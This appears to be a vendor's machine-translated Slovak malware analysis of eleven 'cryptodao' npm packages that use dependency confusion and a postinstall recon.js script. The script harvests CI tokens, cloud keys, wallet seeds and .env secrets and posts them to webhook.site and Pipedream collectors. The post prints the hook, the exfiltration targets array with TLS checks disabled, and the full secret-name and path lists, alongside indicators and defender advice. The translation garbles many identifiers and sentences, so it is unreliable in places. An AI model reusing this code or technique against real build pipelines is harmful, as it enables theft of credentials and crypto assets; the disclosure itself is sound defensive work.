Zmätok okolo CryptoDAO: Zber npm balíčkov CI/CD a krypto tajomstvá

Zmätok okolo CryptoDAO: jedenásť npm balíkov, jeden payload, zber CI/CD a tajomstvá krypto peňaženiek

TL; DR

Dňa 17. júna 2026 bol zverejnený jeden účet npm jedenásť balíkov, ktoré zdieľajú jeden účel a jeden dátový úžitokDesať z nich nesie cryptodao- predpona (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); jedenásty je rozsah @public-for-cdao/coreKaždý z nich bol publikovaný vo verzii 99.99.99 a odosiela bajtovo identický recon.js ktorý beží ďalej postinstall.

Názvy sú náznakom. Čítajú sa ako vnútorné stavebné kamene súkromného reťazca nástrojov krypto/DAO projektu. Sú zverejnené vo verejnom registri npm s umelo zvýšenou verziou a čakajú na zostavenie. pipeline ktorý je nakonfigurovaný na preklad týchto názvov a ktorý sa dostane do verejného npm pred – alebo namiesto – súkromného registra. Toto je zmätok zo závislostia užitočné zaťaženie je naladené presne na miesto, kde sa očakáva pristátie: CI/CD bežci.

Kedy postinstall požiare, recon.js zhromažďuje podrobnosti o hostiteľovi, zhruba prehľadáva štyridsať premenných prostredia cloudu, CI a kryptopeňaženiek, číta ľubovoľné .env súbory, ktoré dokáže nájsť, a doslovne prepošle riadky s tajným textom, potom odošle balík dvom zberateľom – webhook.site a koncový bod Pipedream – s vypnutým overovaním certifikátu TLS. Kópia je tiež napísaná pod /tmp.

Závažnosť: vysokýOvplyvnený ekosystém: NPMVšetkých jedenásť balíkov bolo v čase písania tohto článku aktívnych.

Anatómia útoku

Mechanizmus má štyri pohyblivé časti a žiadna z nich nie je nenápadná, akonáhle viete, pozrite sa o jednu vrstvu ďalej ako názov balíka.

1. Inflácia verzií ako návnada pre resolverov. Každý balík deklaruje verziu 99.99.99Zmätok v závislostiach funguje, keď správca balíkov požiada o interný názov, tiež kontroluje verejný register a vyberá najvyššiu verziu nájde. Predvolená voľba npm pre rozsah vsuvky alebo zástupných znakov je najuspokojivejšia verzia v každom nakonfigurovanom zdroji; ak sú obe súkromné register a verejná odpoveď npm pre rovnaký názov, vyhráva väčšie číslo verzie. A 99.99.99 v podstate prevyšuje akúkoľvek skutočnú internú verziu, ktorú projekt bude mať dosiahnuté, takže resolver, ktorý nie je pripnutý k súkromnému zdroju, uprednostňuje verejný – a v tomto prípade nepriateľský – text. Prevádzkovateľ nemusí poznať skutočné čísla verzií cieľa; výber absurdného maxima vždy zaručuje remízu prerazí si cestu.

2. Spúšťač po inštalácii. package.json pripája užitočné zaťaženie k inštalácii životný cyklus:

{   "scripts": { "postinstall": "node recon.js" } }

Nie je potrebný žiadny import balíka. Stačí ho nainštalovať – čo je CI pipeline robí automaticky — spúšťa sa recon.js.

3. Rozsiahle tajné prehliadky. recon.js zostavuje pole výsledkov vo fázach:

  • Kontext hostiteľa: názov hostiteľa, platforma a vydanie, architektúra, používateľské meno, funkčnosť adresára.
  • Premenné prostredia: iteruje pevný zoznam približne štyridsiatich mien a záznamov všetky, ktoré sú nastavené. Zoznam je výpovedný – páruje generické tokeny CI (CI_JOB_TOKEN, HESLO_REGISTRA_CI, GITLAB_ACCESS_TOKEN) a cloud poverenia (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) s tajnými údajmi registra a kontajnera (NPM_TOKEN, DOCKER_PASSWORD, HESLO_PRÍSTAVU) a klaster s výrazne krypto príchuťou:  SÚKROMNÝ_KĽÚČ, MNEMOTECHNIKA, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, ETH_RPC, BSC_RPCZaznamenané hodnoty sa skrátia na prvých 50 znakov.
  • .env súbory: prehľadáva zoznam ciest — .env, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /domov/gitlab-runner/.env, /root/.env, a .výroba/.vývoj varianty – a pre každý existujúci súbor, filtruje obsah na zodpovedajúce riadky KĽÚČ|TAJNÉ|ŽETON|HESLO|SÚKROMNÉ|MNEMONICKÁ POMOCNÁ TECHNIKA a vloží tieto riadky **v plnom znení** do výsledkov.
  • Kontext hostiteľa zostavy: uvádza prvých 20 záznamov /staví/, /domov/gitlab-runner/zostavenia/, /var/lib/gitlab-runner/a / TMP /.

Zoznam ciest a zoznam premenných sú zamerané na bežcov GitLabu, čo poukazuje na užitočné zaťaženie priamo na samostatne hostovanej infraštruktúre CI, a nie na vývojárovi notebook. Zoskupenie zoznamu úlovkov podľa kategórie zjednodušuje plánovaný úlovok:

kategórie Dosiahnuté premenné / cesty
CI/CD identita a nasadenie CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY
mrak AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
Register a kontajner NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD
Úložiská údajov DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD
Kryptomeny / blockchain PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC
Správy SLACK_TOKEN, DISCORD_TOKEN
Na disku .env family + /home/gitlab-runner/.env, /root/.env, /app/**/.envzoznamy adresárov /builds/, /var/lib/gitlab-runner/

Krypto klaster je tá časť, ktorá to odlišuje od generického CI-tajného zabezpečenia. sweep: frázy peňaženky a podpisové kľúče sa zobrazujú iba v prostredí blockchain projekt a priamo sa mapujú na kryptodao-/znamenie/zmluvy pomenovanie dopravcov.

4. Dvojitá exfiltrácia s vypnutým overením. Zozbierané pole je serializovaný a odoslaný na dve destinácie:

const targets = [   { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' },   { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })

rejectUnauthorized: false vypne kontroly certifikátov TLS pre odchádzajúcu komunikáciu volania. Tie isté údaje sa vypíšu na stdout (takže sa dostanú aj do protokolov úloh CI) a napísané komu /tmp/.npm_recon_ .jsonChyby sú potichu prehltnuté, takže Neúspešné odoslanie nezanecháva v inštalačnom výstupe žiadnu stopu okrem jednej prieskum nainštalovaný na linka.

Hlavný komentár v súbore to opisuje ako „Zmätok v závislostiach“. „Prieskumné užitočné zaťaženie.“ Skrátenie hodnôt prostredia na 50 znakov bolo tvar dôkazu konceptu. To, čo ho posúva za hranicu signálu iba pre prítomnosť, je .env manipulácia: linky s tajným obsahom sa preposielajú v plnom rozsahu a cieľové adresy sú dva funkčné, útočníkom ovládané zberače, a nie jeden spotrebič, ktorý sa počíta iba hity.

časová os

Publikačný vzor je podpisom jedného skriptovaného push, nie jedenástich nezávislé nahrávania.

Čas (UTC, 17. júna 2026) udalosť
03:24:58 cryptodao-bot@99.99.99 zverejnená
03:25:01 cryptodao-signer@99.99.99
03:25:04 cryptodao-deploy@99.99.99
03:25:08 cryptodao-backend@99.99.99
03:25:11 cryptodao-contracts@99.99.99
03:25:14 cryptodao-sdk@99.99.99
03:25:18 cryptodao-utils@99.99.99
03:25:21 cryptodao-core@99.99.99
03:25:24 cryptodao-types@99.99.99
03:25:27 cryptodao-config@99.99.99
03:49:59 @public-for-cdao/core@99.99.99 — variant s rozsahom, ~24 minút neskôr

Desať balíkov bolo odoslaných v priebehu 29 sekúnd, približne jeden každé tri sekundy. Rozsah @public-for-cdao/core nasledovalo asi 24 minút po — sekunde pomenovacia konvencia pre rovnaký cieľ v prípade, že sa naň odvoláva projekt, ktorý ho využíva interný reťazec nástrojov v rámci rozsahu, a nie ako holé názvy.

Indikátory kompromisu

Typ Indikátor
Kolektor hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd
Kolektor hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/
Nainštalujte hák postinstall: node recon.js
Zrušený súbor /tmp/.npm_recon_<timestamp>.json
Značka guľatiny [recon] <pkg>@<ver> installed on <hostname> (štandardný výstup v protokoloch CI)
behaviorálna rejectUnauthorized: false na odchádzajúcom HTTPS počas inštalácie
payload recon.js, identické vo všetkých jedenástich balíkoch (jedna zdieľaná zostava)
verzia 99.99.99 na každom balíku
Balíčky cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (všetko 99.99.99)
vydavateľ aduljune / aduljune@proton.me (e-mail neoverený, žiadne prepojené úložisko zdrojového kódu)

 Pripisovanie a pozorované správanie

Všetko o klastri poukazuje na jednu stranu. Všetkých jedenásť balíkov bolo publikovaných. prostredníctvom účtu npm aduljune (aduljune@proton.me, neoverená adresa bez prepojeného zdrojového repozitára), v priebehu 25 minút, súčasne 99.99.99 verzia, preprava recon.js ktorých obsah je bajt po bajte identický v každom balík (MD5 sa zhoduje vo všetkých jedenástich extrahovaných kópiách). To je jeden dátový obsah vyrazené na zozname mien, nie nezávislé opätovné použitie kódu.

Zoznam mien definuje zamýšľaný cieľ. kryptodao-* a cdao opísať rozloženie súkromného modulu krypto/DAO projektu a zoznam zberu užitočného zaťaženia zrkadlá, ktoré hádajú: popri všeobecných tajomstvách CI a cloudu, konkrétne siaha po SÚKROMNÝ_KĽÚČ, MNEMOTECHNIKA, SEED_PHRASEa RPC Ethereum/BSC a kľúče poskytovateľa. .env vyhľadávacie cesty a zoznamy adresárov sú spustené pomocou GitLab-runnera špecifické. Pozorovateľným efektom je, že akýkoľvek pipeline oklamaní pri inštalácii týchto mená by preposielali svoje CI tokeny, cloudové kľúče a dáta na disku .env tajomstvá – a pre blockchainový projekt, jeho materiál pre peňaženku – dvom tretím stranám, ktoré vykonávajú zberateľské činnosti.

Nerobíme žiadne tvrdenia o tom, kto spravuje účet alebo čo s ním plánoval urobiť. údaje. Fakty, ktoré obstoja samy o sebe: názvy sa zameriavajú na špecifický druh interný reťazec nástrojov, užitočné zaťaženie číta a prenáša skutočné tajné hodnoty a infraštruktúra bola aktívna.

Dopad, trendy a poradenstvo pre obrancov

Zmätok v závislosti zostáva účinný, pretože využíva správanie resolvera, nie zraniteľnosť v akomkoľvek balíku. Nosič je tu triviálny – jedenásť takmer prázdnych balíky – ale polomer výbuchu je akýkoľvek pipeline mylne uprednostňuje verejné npm pre interný názov. CI bežci sú na to najhorším miestom: držia presne tie žetóny a .env súbory, ktoré toto užitočné zaťaženie číta a inštaluje závislosti neinteraktívne, takže a po inštalácii beží bez toho, aby sa naňho niekto pozeral.

Tento klaster tiež zodpovedá vzoru, ktorý neustále vidíme: užitočné zaťaženia v čase inštalácie, ktoré prezentujú ako „výskum“ alebo „prieskum“ pri skutočnom zhromažďovaní poverení. Označenie v súbore nemení, čo kód robí na bežci. Zachovávajú sa dve možnosti dizajnu aktivita tichá: každá sieťová a súborová operácia je zabalená v obsluha výnimiek, ktorá zahodí chyby, teda blokované odoslanie alebo chýbajúci súbor nevytvára žiadny diagnostický výstup a jediné, čo sa vytlačí, je jeden neškodný [rekonštr.] … nainštalované linka, ktorá splýva s bežným inštalačným rozprávaním. Použitie webhook.site a Pipedream je tiež zámerne pohodlný – obe sú zadarmo, okamžite poskytované služby zachytávania požiadaviek, takže operátor nepotrebuje žiadne servery svoje vlastné a cieľové umiestnenia vyzerajú ako bežné názvy hostiteľov SaaS v odchádzajúcich protokoloch.

Ekonomické dôvody robia toto riešenie hodným pozornosti obrancu, aj keď... kód operátora je triviálny. Registrácia jedenástich mien nič nestojí, užitočné zaťaženie je jedno súbor skopírovaný jedenásťkrát a správca balíkov vykoná všetky operácie. Jeden nesprávne nakonfigurované pipeline kdekoľvek, kto konzumuje jedno z týchto mien, platí za celé Prevádzka.

Konkrétne kroky pre obhajcov:

  • Pripnite interné rozsahy do svojho súkromného registra. Nakonfigurujte npm tak, aby obsahoval interné názvy
     a rozsahy sa riešia iba vo vašom registri (mapovania registra .npmrc s rozsahom,
    alebo proxy, ktorý sa nikdy neprepojí s verejným npm pre vlastnené menné priestory). Rezervujte si verejné názvy oblastí, aby ich nikto iný nemohol zaregistrovať.
  • Commit uzamykateľné súbory a nainštalujte ich pomocou –ignore-scripts v CI kde je to možné, alebo overiť malú sadu závislostí, ktoré skutočne potrebujú inštalačné skripty.  Súbor recon.js sa nedá spustiť, ak po inštalácii nie je vykonaný.
  • Zaobchádzajte s verziou interne vyzerajúceho mena s cenou 99.99.99 (alebo inou absurdne vysokou cenou) ako červená vlajka pri kontrole závislostí a monitorovaní registra.
  • Upozornenie na výstup počas inštalácie. A po inštalácii ktorý otvára odchádzajúci HTTPS pripojenie – najmä s vypnutým overovaním certifikátov – k Služby webhook.site, Pipedream alebo podobné služby na zachytávanie požiadaviek sa oplatí blokovať na okraji siete a označovať ich v protokoloch zostavenia.
  • Hľadajte artefakty. Skontrolujte bežcov, či /tmp/.npm_recon_*.json a pre [rekonštr.] … nainštalované na … značke v posledných protokoloch CI. Ak sa nájde, otočiť každých poverenie vystavené tomu pipeline — CI tokeny, cloudové kľúče, tokeny registra a akékoľvek základné hodnoty peňaženky alebo súkromné ​​kľúče prítomné v prostredí alebo súboroch .env.

Referencie

V čase písania tejto analýzy neexistovali žiadne externé správy o tomto klastri; vyššie uvedené je priamo založené na publikovanom obsahu balenia

nástroje na analýzu zloženia softvéru SCA
Stanovte si priority, odstraňujte a zabezpečte svoje softvérové ​​riziká
Získajte svoj bezplatný účet.
Nie je potrebná kreditná karta.

Zabezpečte si vývoj a dodávku softvéru

s produktovým balíkom Xygeni